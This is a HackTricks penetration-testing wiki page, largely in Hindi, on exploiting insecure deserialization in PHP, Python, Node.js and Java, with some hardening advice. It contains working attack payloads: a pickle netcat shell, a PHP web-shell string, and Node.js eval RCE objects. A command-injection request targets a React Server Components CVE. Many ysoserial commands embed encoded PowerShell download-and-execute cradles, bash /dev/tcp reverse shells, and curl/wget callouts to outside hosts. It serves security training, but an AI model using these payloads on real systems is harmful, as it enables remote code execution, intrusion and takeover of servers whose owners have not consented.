Deserialization

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Serialization को उस तरीके के रूप में समझा जाता है जिसमें किसी object को ऐसे format में बदला जाता है जिसे संग्रहीत किया जा सके, ताकि या तो object को store किया जा सके या संचार प्रक्रिया के हिस्से के रूप में भेजा जा सके। यह तकनीक आम तौर पर इस उद्देश्य से उपयोग की जाती है कि बाद में उस object को उसकी संरचना और स्थिति बनाए रखते हुए फिर से recreate किया जा सके।

दूसरी ओर, Deserialization वह प्रक्रिया है जो Serialization का उलट है। इसमें किसी विशिष्ट format में संरचित डेटा लेकर उसे फिर से एक object में reconstruct करना शामिल होता है।

Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से attackers को serialized data में छेड़छाड़ करने और हानिकारक code execute कराने की अनुमति देता है या object reconstruction के दौरान application में अप्रत्याशित व्यवहार पैदा कर सकता है।

PHP

PHP में, serialization और deserialization प्रक्रियाओं के दौरान कुछ विशेष magic methods का उपयोग किया जाता है:

  • __sleep: उस समय कॉल होता है जब कोई object serialize किया जा रहा होता है। यह method उन सभी properties के नामों की एक array लौटानी चाहिए जिन्हें serialize किया जाना चाहिए। आम तौर पर इसे लंबित डेटा commit करने या इसी तरह के cleanup कार्य करने के लिए उपयोग किया जाता है।
  • __wakeup: जब कोई object deserialized किया जा रहा होता है तब कॉल होता है। इसे उन किसी भी database connections को पुनः स्थापित करने के लिए उपयोग किया जाता है जो serialization के दौरान खो गये हो सकते हैं और अन्य पुन:प्रारंभ कार्य करने के लिए।
  • __unserialize: जब object deserialized हो रहा होता है तो (यदि यह मौजूद है) इसे __wakeup की बजाय कॉल किया जाता है। यह __wakeup की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देता है।
  • __destruct: यह method तब कॉल होता है जब कोई object नष्ट होने वाला होता है या जब script समाप्त होता है। आम तौर पर यह cleanup कार्यों के लिए उपयोग होता है, जैसे file handles या database connections बंद करना।
  • __toString: यह method object को string की तरह व्यवहार करने की अनुमति देता है। इसका उपयोग किसी file को पढ़ने या इसमें मौजूद function calls के आधार पर अन्य कार्य करने के लिए किया जा सकता है, जो अंततः object का textual प्रतिनिधित्व प्रदान करता है।
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों को देखें तो आप देखेंगे कि फ़ंक्शंस __wakeup और __destruct को ऑब्जेक्ट के deserialize होने पर कॉल किया जाता है। ध्यान दें कि कई ट्यूटोरियल्स में आप पाएँगे कि जब किसी attribute को प्रिंट करने की कोशिश की जाती है तो __toString फ़ंक्शन कॉल होता है, पर ऐसा प्रतीत होता है कि अब यह नहीं हो रहा

Warning

मेथड __unserialize(array $data) को __wakeup() के बजाय कॉल किया जाता है यदि यह क्लास में लागू किया गया है। यह आपको serialized डेटा को एक array के रूप में प्रदान करके ऑब्जेक्ट को unserialize करने की अनुमति देता है। आप इस मेथड का उपयोग properties को unserialize करने और deserialization के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

आप एक समझाया गया PHP example यहाँ पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers को बाध्य किया जा सकता है ताकि वे arbitrary gadget graphs का instantiate करें (with or without APP_KEY) और Laravel Queueable/SerializableClosure sinks तक पहुँच सकें:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Preventing PHP Object Injection with allowed_classes

[!INFO] unserialize() के दूसरे तर्क (the $options array) के लिए समर्थन PHP 7.0 में जोड़ा गया था। पुराने वर्शन में यह फ़ंक्शन केवल serialized string स्वीकार करता था, जिससे यह असंभव था कि कौन‑सी क्लासें instantiate हो सकती हैं और इन्हें प्रतिबंधित किया जा सके।

unserialize() serialized stream के अंदर जो भी क्लास पाएगा उसे instantiate कर देगा जब तक कि अन्यथा न बताया गया हो। PHP 7 के बाद यह व्यवहार allowed_classes option के साथ सीमित किया जा सकता है:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

यदि allowed_classes छोड़ा गया है या कोड PHP < 7.0 पर चलता है, तो यह कॉल खतरनाक हो जाती है क्योंकि एक attacker एक payload तैयार कर सकता है जो magic methods जैसे __wakeup() या __destruct() का दुरुपयोग करके Remote Code Execution (RCE) प्राप्त कर सकता है।

वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709

The WordPress plugin Everest Forms ≤ 3.2.2 tried to be defensive with a helper wrapper but forgot about legacy PHP versions:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

जो सर्वर अभी भी PHP ≤ 7.0 चला रहे थे, उस दूसरी शाखा से क्लासिक PHP Object Injection होता था जब कोई प्रशासक किसी दुष्ट फ़ॉर्म सबमिशन को खोलता है। एक न्यूनतम exploit payload इस तरह दिख सकता है:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

जैसे ही admin ने एंट्री देखी, ऑब्जेक्ट instantiated हुआ और SomeClass::__destruct() execute हुआ, जिससे arbitrary code execution हुआ।

निष्कर्ष

  1. जब unserialize() को कॉल करें तो हमेशा ['allowed_classes' => false] (या सख्त white-list) पास करें।
  2. Defensive wrappers का audit करें – वे अक्सर legacy PHP branches को भूल जाते हैं।
  3. केवल PHP ≥ 7.x में अपग्रेड करना पर्याप्त नहीं है: the option को explicit रूप से सप्लाई करना अभी भी आवश्यक है।

PHPGGC (ysoserial for PHP)

PHPGGC आपको PHP deserializations को abuse करने के लिए payloads generate करने में मदद कर सकता है.
ध्यान दें कि कई मामलों में आप application के source code में deserialization को abuse करने का तरीका wont be able to find a way to abuse a deserialization in the source code नहीं ढूंढ पाएँगे, पर आप external PHP extensions के code को abuse कर सकते हैं.
तो, अगर कर सकते हैं, तो server का phpinfo() चेक करें और search on the internet (यहाँ तक कि PHPGGC के gadgets में) कुछ संभावित gadget खोजें जिन्हें आप abuse कर सकें.

phar:// metadata deserialization

अगर आपको ऐसा LFI मिला है जो केवल फ़ाइल पढ़ रहा है और उसके अंदर का php code execute नहीं कर रहा है, उदाहरण के लिए functions जैसे file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). आप phar protocol का उपयोग करके किसी file को reading करते समय होने वाली deserialization को abuse करने की कोशिश कर सकते हैं.
For more information read the following post:

phar:// deserialization

Python

Pickle

जब object unpickle होता है, तो function ___reduce___ execute होगा.
Exploit होने पर server एक error return कर सकता है.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

निम्नलिखित पृष्ठ yamls python libraries में होने वाली unsafe deserialization का दुरुपयोग करने की तकनीक प्रस्तुत करता है और अंत में एक ऐसे टूल के साथ समाप्त होता है जिसका उपयोग Pickle, PyYAML, jsonpickle and ruamel.yaml के लिए RCE deserialization payload जनरेट करने के लिए किया जा सकता है:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. अधिक जानकारी के लिए this link देखें.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल देखें:

NodeJS - proto & prototype Pollution

node-serialize

यह लाइब्रेरी functions को serialise करने की अनुमति देती है। उदाहरण:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

निम्नलिखित serialised object इस प्रकार दिखेगा:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब कोई function serialized होता है तो _$$ND_FUNC$$_ flag serialized object के साथ append हो जाता है।

फाइल node-serialize/lib/serialize.js के अंदर आप वही flag और कोड को इसे कैसे use कर रहा है देख सकते हैं।

जैसा कि आप आखिरी कोड चंक में देख सकते हैं, यदि flag मिल जाता है तो eval का उपयोग करके function को deserialize किया जाता है, इसलिए मूलतः eval function के अंदर user input का उपयोग किया जा रहा है।

हालाँकि, just serialising एक function won’t execute it क्योंकि यह आवश्यक होगा कि कोड का कोई हिस्सा हमारे उदाहरण में calling y.rce करे और यह काफी असंभावित है।
वैसे भी, आप बस modify the serialised object कर सकते हैं और कुछ parenthesis जोड़कर serialized function को object deserialized होने पर auto execute करवा सकते हैं।
अगले कोड चंक में अंतिम parenthesis पर ध्यान दें और कैसे unserialize function खुद-ब-खुद code को execute करेगा:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

जैसा कि पहले बताया गया था, यह लाइब्रेरी _$$ND_FUNC$$_ के बाद का कोड लेगी और उसे eval से execute कर देगी। इसलिए, auto-execute code करने के लिए आप function creation वाला हिस्सा और आखिरी parenthesis हटा सकते हैं और सिर्फ एक JS oneliner चला सकते हैं, जैसे निम्न उदाहरण में:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here further information about how to exploit this vulnerability.

funcster

funcster का एक उल्लेखनीय पहलू यह है कि मानक बिल्ट-इन ऑब्जेक्ट्स पहुँच योग्य स्कोप के बाहर होते हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो बिल्ट-इन ऑब्जेक्ट्स पर मेथड्स कॉल करने की कोशिश करते हैं, जिसके परिणामस्वरूप console.log() या require(something) जैसे कमांड्स उपयोग करने पर “ReferenceError: console is not defined” जैसी exceptions आती हैं।

इस प्रतिबंध के बावजूद, एक विशिष्ट तरीके से ग्लोबल संदर्भ (global context) तक पूर्ण पहुँच, जिसमें सभी मानक बिल्ट-इन ऑब्जेक्ट्स शामिल हैं, पुनर्स्थापित की जा सकती है। ग्लोबल संदर्भ का सीधे उपयोग करके इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, पहुँच को निम्न snippet का उपयोग करके पुनः स्थापित किया जा सकता है:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

अधिक जानकारी के लिए more information read this source.

serialize-javascript

serialize-javascript पैकेज केवल serialization उद्देश्यों के लिए बनाया गया है और इसमें कोई built-in deserialization क्षमता नहीं है। deserialization के लिए अपनी खुद की विधि लागू करना उपयोगकर्ताओं की जिम्मेदारी है। serialized डेटा को deserializing करने के लिए आधिकारिक उदाहरण सीधे eval के उपयोग का सुझाव देता है:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

यदि इस function का उपयोग objects को deserialize करने के लिए किया जाता है तो आप इसे आसानी से exploit कर सकते हैं:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

अधिक जानकारी के लिए यह स्रोत पढ़ें.

Cryo library

नीचे दिए पृष्ठों में आप यह जान सकते हैं कि इस लाइब्रेरी का दुरुपयोग करके arbitrary commands किस तरह execute किए जा सकते हैं:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) react-server-dom-webpack (RSDW) पर निर्भर करते हैं ताकि multipart/form-data के रूप में भेजे गए server action submissions को decode किया जा सके। प्रत्येक action submission में शामिल होते हैं:

  • $ACTION_REF_<n> हिस्से जो invoke किए जा रहे action का संदर्भ देते हैं।
  • $ACTION_<n>:<m> हिस्से जिनके body में JSON होता है जैसे {"id":"module-path#export","bound":[arg0,arg1,...]}

संस्करण 19.2.0 में decodeAction(formData, serverManifest) helper सहजता से दोनों id string (यह चुनने के लिए कि किस module export को कॉल करना है) और bound array (arguments) पर अंधविश्वास करता है। अगर कोई attacker उस endpoint तक पहुँच सके जो requests को decodeAction पर फॉरवर्ड करता है, तो वे किसी भी exported server action को attacker-controlled parameters के साथ बिना React front-end के भी invoke कर सकते हैं (CVE-2025-55182)। end-to-end प्रक्रिया इस प्रकार है:

  1. Learn the action identifier. Bundle output, error traces or leaked manifests आमतौर पर app/server-actions#generateReport जैसे strings प्रकट करते हैं।
  2. Recreate the multipart payload. $ACTION_REF_0 भाग और एक $ACTION_0:0 JSON body बनाएं जो identifier और arbitrary arguments रखे।
  3. Let decodeAction dispatch it. Helper serverManifest से module को resolve करता है, export import करता है, और एक callable लौटाता है जिसे server तुरंत execute कर देता है।

Example payload जो /formaction को लक्षित करता है:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

या curl के साथ:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound array सीधे server-action parameters को populate करता है। कमज़ोर लैब में gadget इस तरह दिखता है:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

एक attacker को कभी भी असली React client की ज़रूरत नहीं होती — कोई भी HTTP tool जो $ACTION_* multipart shape उत्पन्न करता है, सीधे server actions को कॉल कर सकता है और resulting JSON output को एक RCE primitive में chain कर सकता है।

Java - HTTP

Java में, deserialization callbacks are executed during the process of deserialization. यह execution उन attackers द्वारा exploit की जा सकती है जो malicious payloads तैयार करते हैं जो इन callbacks को trigger करते हैं, और इससे संभावित हानिकारक actions के execution का जोखिम बनता है।

Fingerprints

White Box

कोडबेस में संभावित serialization vulnerabilities पहचानने के लिए खोजें:

  • वे classes जो Serializable interface को implement करती हैं।
  • java.io.ObjectInputStream, readObject, readUnshare functions का उपयोग।

खास ध्यान दें:

  • बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ उपयोग किया गया XMLDecoder
  • XStream का fromXML method, विशेष रूप से यदि XStream का version 1.46 या उससे कम है, क्योंकि यह serialization issues के प्रति संवेदनशील हो सकता है।
  • ObjectInputStream जो readObject method के साथ उपयोग हो।
  • readObject, readObjectNodData, readResolve, या readExternal जैसे methods का implementation।
  • ObjectInputStream.readUnshared
  • सामान्य रूप से Serializable का उपयोग।

Black Box

Black box testing के लिए, उन विशिष्ट signatures या “Magic Bytes” की तलाश करें जो java serialized objects (originating from ObjectInputStream) को दर्शाते हैं:

  • Hexadecimal पैटर्न: AC ED 00 05.
  • Base64 पैटर्न: rO0.
  • HTTP response headers जिनका Content-type application/x-java-serialized-object पर सेट है।
  • पहले compression होने का सूचक hexadecimal पैटर्न: 1F 8B 08 00.
  • पहले compression होने का सूचक Base64 पैटर्न: H4sIA.
  • वेब फ़ाइलें जिनका .faces extension हो और जिनमें faces.ViewState parameter हो। किसी वेब एप्लिकेशन में इन पैटर्न्स की खोज होने पर post about Java JSF ViewState Deserialization में विस्तार से बताई गई जाँच करनी चाहिए।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

जाँच करें कि क्या यह कमजोर है

यदि आप यह जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है तो आप Basic Java Deserialization, Java DNS Deserialization, और CommonsCollection1 Payload को देखें।

SignedObject-gated deserialization और pre-auth reachability

आधुनिक कोडबेस कभी-कभी deserialization को java.security.SignedObject के साथ wrap करते हैं और getObject() कॉल करने से पहले सिग्नेचर validate करते हैं (जो inner object को deserializes करता है)। यह arbitrary top-level gadget classes को रोकता है, लेकिन तब भी exploitable हो सकता है अगर attacker वैध signature प्राप्त कर ले (जैसे private-key compromise या signing oracle)। इसके अलावा, error-handling flows unauthenticated users के लिए session-bound tokens mint कर सकते हैं, जिससे otherwise protected sinks pre-auth में उजागर हो सकते हैं।

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

आप यह जाँच सकते हैं कि कोई ऐसा application इंस्टॉल है जिसमें ज्ञात vulnerabilities हों।

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
आप संभावित रूप से exploit किए जा सकने वाले gadget chains खोजने के लिए gadgetinspector का भी उपयोग कर सकते हैं।
gadgetinspector चलाते समय (build करने के बाद) इसके दौरान दिखने वाली बहुत सारी warnings/errors की परवाह मत करें और इसे पूरा होने दें। यह सभी findings को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt में लिखेगा। कृपया ध्यान दें कि gadgetinspector कोई exploit नहीं बनाएगा और यह false positives भी दिखा सकता है

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
यदि आप किसी web application को भेजे जा रहे java serialized object को पाते हैं, तो आप भेजे जा रहे serialized object को अधिक पठनीय रूप में प्रिंट करने के लिए SerializationDumper का उपयोग कर सकते हैं। यह जानना कि आप कौन सा डेटा भेज रहे हैं, उसे संशोधित करना और कुछ checks को bypass करना आसान बना देगा।

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
ध्यान दें कि यह tool ObjectInputStream को exploit करने पर केंद्रित है।
मैं injection की जाँच करने के लिए RCE payload से पहले “URLDNS” payload का प्रयोग शुरू करने की सलाह दूँगा। खैर, ध्यान रखें कि “URLDNS” payload काम नहीं कर सकता है जबकि कोई अन्य RCE payload काम कर सकता है।

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

जब आप java.lang.Runtime.exec() के लिए payload बना रहे होते हैं, तो आप एक execution के आउटपुट को redirect करने के लिए “>” या “|” जैसे special characters का उपयोग नहीं कर सकते, “$()” के जरिए commands execute नहीं कर सकते या यहाँ तक कि एक कमांड में spaces से अलग किए गए arguments भी pass नहीं कर सकते (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते)। Payload को सही तरीके से encode करने के लिए आप use this webpage का उपयोग कर सकते हैं।

नीचे दिए गए script का उपयोग करके आप Windows और Linux के लिए all the possible code execution payloads बना सकते हैं और फिर उन्हें vulnerable web page पर टेस्ट कर सकते हैं:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

आप https://github.com/pwntester/SerialKillerBypassGadgetCollection को उपयोग कर सकते हैं ysoserial के साथ मिलाकर और अधिक exploits बनाने के लिए। इस टूल के बारे में और जानकारी उस टॉक के slides में है जहाँ यह टूल पेश किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec का उपयोग Java में विभिन्न Json और Yml serialization libraries को exploit करने के लिए payloads generate करने हेतु किया जा सकता है.
प्रोजेक्ट को compile करने के लिए मुझे pom.xml में इन डिपेंडेंसीज़ को जोड़ना पड़ा:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

